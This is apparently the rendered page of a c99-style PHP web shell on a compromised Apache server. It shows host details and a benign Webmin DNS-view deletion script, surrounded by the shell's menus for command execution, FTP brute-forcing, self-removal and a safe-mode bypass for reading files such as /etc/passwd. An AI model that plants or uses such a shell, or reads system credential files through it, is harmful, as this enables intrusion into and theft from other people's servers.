!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/bind8/   drwxr-xr-x
Free 50.94 GB of 127.8 GB (39.86%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     delete_view.cgi (2.18 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# delete_zone.cgi
# Delete an existing view and all its zones

require './bind8-lib.pl';
&ReadParse();
$parent = &get_config_parent();
$conf = $parent->{'members'};
$vconf = $conf->[$in{'index'}];
$access{'views'} || &error($text{'view_ecannot'});

if (!$in{'confirm'}) {
    # Ask the user if he is sure ..
    &ui_print_header(undef, $text{'vdelete_title'}, "");

    # Build input for moving zones to another view
    @zones = &find("zone", $vconf->{'members'});
    if (@zones) {
        @moveopts = ( [ 0, $text{'vdelete_delete'} ],
                  [ 1, $text{'vdelete_root'} ] );
        @views = &find("view", $conf);
        if (@views > 1) {
            push(@moveopts, [ 2, $text{'vdelete_move'}." ".
                &ui_select("newview", undef,
                   [ map { [ $_->{'index'}, $_->{'value'} ] }
                     grep { $_->{'index'} != $in{'index'} }
                          @views ]) ]);
            }
        $movefield = "<b>$text{'vdelete_newview'}</b> ".
                 &ui_radio("mode", 1, \@moveopts);
        }

    # Show confirm form
    print &ui_confirmation_form("delete_view.cgi",
        &text(@zones ? 'vdelete_mesg' : 'vdelete_mesg2',
              "<tt>$vconf->{'value'}</tt>"),
        [ [ 'index', $in{'index'} ] ],
        [ [ 'confirm', $text{'view_delete'} ] ],
        $movefield);

    &ui_print_footer("", $text{'index_return'});
    exit;
    }

# deal with the zones in this view
@zones = &find("zone", $vconf->{'members'});
if ($in{'mode'} == 1) {
    # Adding to top level
    $dest = &get_config_parent(&add_to_file());
    }
else {
    # Adding to some other view
    $dest = $conf->[$in{'newview'}];
    }
&lock_file(&make_chroot($dest->{'file'}));
foreach $z (@zones) {
    local $type = &find_value("type", $z->{'members'});
    next if (!$type || $type eq 'hint');
    if ($in{'mode'} == 0) {
        # Delete the records file, and perhaps journal
        local $f = &find_value("file", $z->{'members'});
        if ($f) {
            &delete_records_file($f->{'value'});
            }
        }
    else {
        # Move to another view or the top level.
        # File may change 
        delete($z->{'file'});
        &save_directive($dest, undef, [ $z ], $in{'mode'} == 2 ? 1 : 0);
        }
    }

# remove the view directive
&lock_file(&make_chroot($vconf->{'file'}));
&save_directive($parent, [ $vconf ], [ ]);
&flush_file_lines();
&unlock_all_files();
&webmin_log("delete", "view", $vconf->{'value'}, \%in);
&redirect("");


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0065 ]--